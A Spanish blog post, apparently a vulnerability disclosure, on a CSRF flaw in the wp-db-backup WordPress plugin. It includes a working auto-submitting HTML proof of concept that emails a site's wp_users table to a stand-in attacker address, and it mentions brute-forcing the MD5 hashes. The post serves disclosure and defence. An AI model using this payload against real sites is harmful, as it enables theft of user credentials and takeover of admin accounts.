Ya es casi un año desde que tomamos la decisión de no utilizar wp-db-backup en este blog, esta decisión principalmente se debió a que alguien logró acceder a los paneles de administración de varios blogs que usaban este plugin, la persona que hizo esto utilizó los datos de los backups previamente generados.
Esta vez la historia se vuelve a repetir, puesto que este es otro plugin que lamentablemente es vulnerable a ataques CSRF, gracias a esto es posible que cualquiera pueda obtener los backups sin mayor esfuerzo.
La versión 2.0.6 incluye tres formas de poder obtener los backups:
- Guardar en un directorio aleatorio en el servidor web.
- Descargar el backup a la máquina del usuario.
- Enviar el backup por correo a una cuenta de email especificada en otro campo.
No recuerdo si la tercera opción estaba disponible antes o si es que ha sido agregado en versiones recientes, pero ésta es la más peligrosa porque si alguien incluye el siguiente documento html dentro de un (i)frame y de algún modo hace que la víctima (con permisos suficientes para realizar backups) entre a una página que contiene ese elemento, entonces, asumiendo que el prefijo de las tablas es el que viene por omisión, el atacante recibirá los datos de la tabla wp_users
.
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>wp-db-backup PoC</title>
</head>
<body>
<form method="post" action="http://victima.com/wp-admin/edit.php?page=wp-db-backup.php">
<input type="hidden" name="deliver" value="smtp" />
<input type="hidden" name="backup_recipient" value="usuario@atacante.com" />
<input type="hidden" name="core_tables[]" value="wp_users" />
<input type="hidden" name="do_backup" value="backup" />
</form>
<script type="text/javascript">
//<![CDATA[
document.forms[0].submit();
//]]>
</script>
</body>
</html>
Una vez que se tengan los datos de los usuarios del blog victima.com
, el atacante puede hacer uso de fuerza bruta para recuperar las contraseñas almacenadas con md5.
Por lo pronto, les recomiendo que desactiven este plugin mientras su autor corrige este problema y libera una nueva versión.